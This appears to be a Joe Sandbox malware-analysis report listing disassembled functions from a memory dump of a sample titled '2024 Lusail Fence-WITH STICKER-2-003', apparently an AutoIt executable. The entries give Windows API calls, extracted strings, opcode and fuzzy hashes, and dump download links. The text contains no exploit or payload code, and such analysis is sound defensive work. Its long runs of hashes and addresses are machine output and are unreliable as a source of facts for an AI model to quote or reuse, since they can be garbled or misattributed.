                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 26fd48f29f439503e75bc95b7c98db942acc7ff02f024914c2956ac66f0d28cf
                                                • Instruction ID: 94197a011c22cbb5c2e13635d354accc04e72affefd361f41bd7d1a7def80060
                                                • Opcode Fuzzy Hash: 26fd48f29f439503e75bc95b7c98db942acc7ff02f024914c2956ac66f0d28cf
                                                • Instruction Fuzzy Hash: 09222730905616CBDF289F28D49467D77A1EB43704F6C486BD882AB395DB34DD81EB70
                                                Function 00DA2405 Relevance: .3, Instructions: 345COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                • Instruction ID: c5ce5f2b27c7de585d56802393de6d31e721df15864120dd63d10170eed35ec9
                                                • Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
                                                • Instruction Fuzzy Hash: C8C17F372050A30ADB6D863E947413EBAE16EA37B131E075DE8B2CB5C4EF20D564E630
                                                Function 00DA283A Relevance: .3, Instructions: 341COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                • Instruction ID: f904efb6c4899a6040d4ee9a0ae06c43f54ef84f21ab53e03129ca2a8b2eb12a
                                                • Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
                                                • Instruction Fuzzy Hash: 01C18D372091A30ADB6D463E847403EBBE15EA37B131E0B6DE4B2DB5D4EF20D524A630
                                                Function 00DA1BB8 Relevance: .3, Instructions: 323COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction ID: c3f4464e5bdb80f3d3cd0cc0cd1805f8f85bea67bbd08140221c1b9e73ad9990
                                                • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                • Instruction Fuzzy Hash: 2EC15F3B2091A30DDF6D463A943413EBAE15EA37B1B1E0B6DE4B2CB5D4EF20D5649630
                                                Function 00E037F3 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CharUpperBuffW.USER32(?,?,00E0F910), ref: 00E038AF
                                                • IsWindowVisible.USER32(?), ref: 00E038D3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: BuffCharUpperVisibleWindow
                                                • String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
                                                • API String ID: 4105515805-45149045
                                                • Opcode ID: f811e8684055e0047edcaefab46cdb6408ea1d5365b67f9a1415d9a5b670f87e
                                                • Instruction ID: d07a0a206e0dde578bea3b286d3e34ab455d68a630b703a0d21cdbcaeb719eaa
                                                • Opcode Fuzzy Hash: f811e8684055e0047edcaefab46cdb6408ea1d5365b67f9a1415d9a5b670f87e
                                                • Instruction Fuzzy Hash: A9D177302043059FCB14EF20C495A6ABBA9EF95344F145459F8867B7E2DB31EE8ACB71
                                                Function 00E0A849 Relevance: 49.8, APIs: 33, Instructions: 274COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetTextColor.GDI32(?,00000000), ref: 00E0A89F
                                                • GetSysColorBrush.USER32(0000000F), ref: 00E0A8D0
                                                • GetSysColor.USER32(0000000F), ref: 00E0A8DC
                                                • SetBkColor.GDI32(?,000000FF), ref: 00E0A8F6
                                                • SelectObject.GDI32(?,?), ref: 00E0A905
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00E0A930
                                                • GetSysColor.USER32(00000010), ref: 00E0A938
                                                • CreateSolidBrush.GDI32(00000000), ref: 00E0A93F
                                                • FrameRect.USER32(?,?,00000000), ref: 00E0A94E
                                                • DeleteObject.GDI32(00000000), ref: 00E0A955
                                                • InflateRect.USER32(?,000000FE,000000FE), ref: 00E0A9A0
                                                • FillRect.USER32(?,?,?), ref: 00E0A9D2
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00E0A9FD
                                                  • Part of subcall function 00E0AB60: GetSysColor.USER32(00000012), ref: 00E0AB99
                                                  • Part of subcall function 00E0AB60: SetTextColor.GDI32(?,?), ref: 00E0AB9D
                                                  • Part of subcall function 00E0AB60: GetSysColorBrush.USER32(0000000F), ref: 00E0ABB3
                                                  • Part of subcall function 00E0AB60: GetSysColor.USER32(0000000F), ref: 00E0ABBE
                                                  • Part of subcall function 00E0AB60: GetSysColor.USER32(00000011), ref: 00E0ABDB
                                                  • Part of subcall function 00E0AB60: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E0ABE9
                                                  • Part of subcall function 00E0AB60: SelectObject.GDI32(?,00000000), ref: 00E0ABFA
                                                  • Part of subcall function 00E0AB60: SetBkColor.GDI32(?,00000000), ref: 00E0AC03
                                                  • Part of subcall function 00E0AB60: SelectObject.GDI32(?,?), ref: 00E0AC10
                                                  • Part of subcall function 00E0AB60: InflateRect.USER32(?,000000FF,000000FF), ref: 00E0AC2F
                                                  • Part of subcall function 00E0AB60: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E0AC46
                                                  • Part of subcall function 00E0AB60: GetWindowLongW.USER32(00000000,000000F0), ref: 00E0AC5B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
                                                • String ID:
                                                • API String ID: 4124339563-0
                                                • Opcode ID: 4973c6ddaf7c337534dfb206fde9bebf7e087f9ea268b8da9c3e008d3f2f7045
                                                • Instruction ID: 384af4744ff28a1c68729bb1778d01a6b4f69b93deecb0545d8a39f10295d39d
                                                • Opcode Fuzzy Hash: 4973c6ddaf7c337534dfb206fde9bebf7e087f9ea268b8da9c3e008d3f2f7045
                                                • Instruction Fuzzy Hash: 43A1C272108305AFD7209F65DC08E5B7BA9FF89320F145A29F962A61E1C732D898CB52
                                                Function 00D82C18 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(?,?,?), ref: 00D82CA2
                                                • DeleteObject.GDI32(00000000), ref: 00D82CE8
                                                • DeleteObject.GDI32(00000000), ref: 00D82CF3
                                                • DestroyIcon.USER32(00000000,?,?,?), ref: 00D82CFE
                                                • DestroyWindow.USER32(00000000,?,?,?), ref: 00D82D09
                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 00DBC68B
                                                • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00DBC6C4
                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00DBCAED
                                                  • Part of subcall function 00D81B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D82036,?,00000000,?,?,?,?,00D816CB,00000000,?), ref: 00D81B9A
                                                • SendMessageW.USER32(?,00001053), ref: 00DBCB2A
                                                • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00DBCB41
                                                • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00DBCB57
                                                • ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00DBCB62
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                • String ID: 0
                                                • API String ID: 464785882-4108050209
                                                • Opcode ID: c14127d6929ce8ac2ec3578fbeece618bedefc16c8003306ae3bf8f44d7f9149
                                                • Instruction ID: 9b47b9e4ed0c94f385cd2ff9b20730b88208e63753efb28e0a94fae65091a17f
                                                • Opcode Fuzzy Hash: c14127d6929ce8ac2ec3578fbeece618bedefc16c8003306ae3bf8f44d7f9149
                                                • Instruction Fuzzy Hash: D3129B30610201EFDB20DF24C884BB9B7E5FF45301F585569E886DB662CB32E896CBB1
                                                Function 00DF77BE Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DestroyWindow.USER32(00000000), ref: 00DF77F1
                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00DF78B0
                                                • SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00DF78EE
                                                • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00DF7900
                                                • CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00DF7946
                                                • GetClientRect.USER32(00000000,?), ref: 00DF7952
                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00DF7996
                                                • CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00DF79A5
                                                • GetStockObject.GDI32(00000011), ref: 00DF79B5
                                                • SelectObject.GDI32(00000000,00000000), ref: 00DF79B9
                                                • GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00DF79C9
                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00DF79D2
                                                • DeleteDC.GDI32(00000000), ref: 00DF79DB
                                                • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00DF7A07
                                                • SendMessageW.USER32(00000030,00000000,00000001), ref: 00DF7A1E
                                                • CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00DF7A59
                                                • SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00DF7A6D
                                                • SendMessageW.USER32(00000404,00000001,00000000), ref: 00DF7A7E
                                                • CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00DF7AAE
                                                • GetStockObject.GDI32(00000011), ref: 00DF7AB9
                                                • SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00DF7AC4
                                                • ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00DF7ACE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                • String ID: AutoIt v3$DISPLAY$msctls_progress32$static
                                                • API String ID: 2910397461-517079104
                                                • Opcode ID: 6263950610dc1002ec61a9efd085c5e0218b823908303cbad401f11e0df4c78b
                                                • Instruction ID: f8065c6cd7f0fe4a1f8d65a983c5f837ac95c3ba5ae6880f864c9baa10aef502
                                                • Opcode Fuzzy Hash: 6263950610dc1002ec61a9efd085c5e0218b823908303cbad401f11e0df4c78b
                                                • Instruction Fuzzy Hash: A9A19F71A00209BFEB14DBA5DC4AFBABBA9EB45710F048114FA14B72E0C7B1AD55CB64
                                                Function 00DEAF7B Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00DEAF89
                                                • GetDriveTypeW.KERNEL32(?,00E0FAC0,?,\\.\,00E0F910), ref: 00DEB066
                                                • SetErrorMode.KERNEL32(00000000,00E0FAC0,?,\\.\,00E0F910), ref: 00DEB1C4
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DriveType
                                                • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                • API String ID: 2907320926-4222207086
                                                • Opcode ID: c2c971bce7187d52b6e66bc16e72b4517740c52aaa23fadc8a7c9154ba365270
                                                • Instruction ID: 64bf1a3c9343be951b0b30c958f70a17e25a8eae19157925df216238e9d00e91
                                                • Opcode Fuzzy Hash: c2c971bce7187d52b6e66bc16e72b4517740c52aaa23fadc8a7c9154ba365270
                                                • Instruction Fuzzy Hash: DF519F30680385AA8B10FF12C9A687A77B0EB54371B285027E48AB7290C775FD81CB72
                                                Function 00D86A3C Relevance: 44.0, APIs: 12, Strings: 13, Instructions: 275COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __wcsnicmp
                                                • String ID: #OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
                                                • API String ID: 1038674560-86951937
                                                • Opcode ID: e92332087d738de54401f352d42a826ad50195eadd8c696d4023eb3d35e10b0e
                                                • Instruction ID: c759306eb1f750ac1a45a2a7dbe559671d97849aba8c86f8bc8eb5936d0a2764
                                                • Opcode Fuzzy Hash: e92332087d738de54401f352d42a826ad50195eadd8c696d4023eb3d35e10b0e
                                                • Instruction Fuzzy Hash: 0E81E671640315ABCB24BB60DC83FEA7769EF16710F184025FA46AB1C6EB60EA51C771
                                                Function 00E0AB60 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetSysColor.USER32(00000012), ref: 00E0AB99
                                                • SetTextColor.GDI32(?,?), ref: 00E0AB9D
                                                • GetSysColorBrush.USER32(0000000F), ref: 00E0ABB3
                                                • GetSysColor.USER32(0000000F), ref: 00E0ABBE
                                                • CreateSolidBrush.GDI32(?), ref: 00E0ABC3
                                                • GetSysColor.USER32(00000011), ref: 00E0ABDB
                                                • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E0ABE9
                                                • SelectObject.GDI32(?,00000000), ref: 00E0ABFA
                                                • SetBkColor.GDI32(?,00000000), ref: 00E0AC03
                                                • SelectObject.GDI32(?,?), ref: 00E0AC10
                                                • InflateRect.USER32(?,000000FF,000000FF), ref: 00E0AC2F
                                                • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E0AC46
                                                • GetWindowLongW.USER32(00000000,000000F0), ref: 00E0AC5B
                                                • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E0ACA7
                                                • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00E0ACCE
                                                • InflateRect.USER32(?,000000FD,000000FD), ref: 00E0ACEC
                                                • DrawFocusRect.USER32(?,?), ref: 00E0ACF7
                                                • GetSysColor.USER32(00000011), ref: 00E0AD05
                                                • SetTextColor.GDI32(?,00000000), ref: 00E0AD0D
                                                • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00E0AD21
                                                • SelectObject.GDI32(?,00E0A869), ref: 00E0AD38
                                                • DeleteObject.GDI32(?), ref: 00E0AD43
                                                • SelectObject.GDI32(?,?), ref: 00E0AD49
                                                • DeleteObject.GDI32(?), ref: 00E0AD4E
                                                • SetTextColor.GDI32(?,?), ref: 00E0AD54
                                                • SetBkColor.GDI32(?,?), ref: 00E0AD5E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                • String ID:
                                                • API String ID: 1996641542-0
                                                • Opcode ID: 4c2008a240bb872546c8e88c5cc4d6d91685f2fe92bd494fc0330a8e1e9cd351
                                                • Instruction ID: c0957c5593e17eafa5d433ee4d2842c3c2af0414baa90a0c348b21e6b1e1dd4c
                                                • Opcode Fuzzy Hash: 4c2008a240bb872546c8e88c5cc4d6d91685f2fe92bd494fc0330a8e1e9cd351
                                                • Instruction Fuzzy Hash: 10616D71901218EFDF219FA5DC48EAEBB79EB08320F158125F911BB2E1D6729D90DF90
                                                Function 00E08C44 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00E08D34
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E08D45
                                                • CharNextW.USER32(0000014E), ref: 00E08D74
                                                • SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00E08DB5
                                                • SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00E08DCB
                                                • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E08DDC
                                                • SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00E08DF9
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00E08E45
                                                • SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00E08E5B
                                                • SendMessageW.USER32(?,00001002,00000000,?), ref: 00E08E8C
                                                • _memset.LIBCMT ref: 00E08EB1
                                                • SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00E08EFA
                                                • _memset.LIBCMT ref: 00E08F59
                                                • SendMessageW.USER32(?,00001053,000000FF,?), ref: 00E08F83
                                                • SendMessageW.USER32(?,00001074,?,00000001), ref: 00E08FDB
                                                • SendMessageW.USER32(?,0000133D,?,?), ref: 00E09088
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00E090AA
                                                • GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E090F4
                                                • SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E09121
                                                • DrawMenuBar.USER32(?), ref: 00E09130
                                                • SetWindowTextW.USER32(?,0000014E), ref: 00E09158
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
                                                • String ID: 0
                                                • API String ID: 1073566785-4108050209
                                                • Opcode ID: 227c518b5b58beb466fe8a63b827491d4d114b0fdc7001cb5bb05c6aef46a803
                                                • Instruction ID: 492fb2f4682898121345027efefea92ca8cd20a3fa81985120d6cc6b5737b384
                                                • Opcode Fuzzy Hash: 227c518b5b58beb466fe8a63b827491d4d114b0fdc7001cb5bb05c6aef46a803
                                                • Instruction Fuzzy Hash: 97E1AE70901209AFDF209F61CC88AEEBBB9EF05314F009256F955BA2D1DB718AC5DF61
                                                Function 00E04B16 Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetCursorPos.USER32(?), ref: 00E04C51
                                                • GetDesktopWindow.USER32 ref: 00E04C66
                                                • GetWindowRect.USER32(00000000), ref: 00E04C6D
                                                • GetWindowLongW.USER32(?,000000F0), ref: 00E04CCF
                                                • DestroyWindow.USER32(?), ref: 00E04CFB
                                                • CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00E04D24
                                                • SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E04D42
                                                • SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00E04D68
                                                • SendMessageW.USER32(?,00000421,?,?), ref: 00E04D7D
                                                • SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00E04D90
                                                • IsWindowVisible.USER32(?), ref: 00E04DB0
                                                • SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00E04DCB
                                                • SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00E04DDF
                                                • GetWindowRect.USER32(?,?), ref: 00E04DF7
                                                • MonitorFromPoint.USER32(?,?,00000002), ref: 00E04E1D
                                                • GetMonitorInfoW.USER32(00000000,?), ref: 00E04E37
                                                • CopyRect.USER32(?,?), ref: 00E04E4E
                                                • SendMessageW.USER32(?,00000412,00000000), ref: 00E04EB9
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
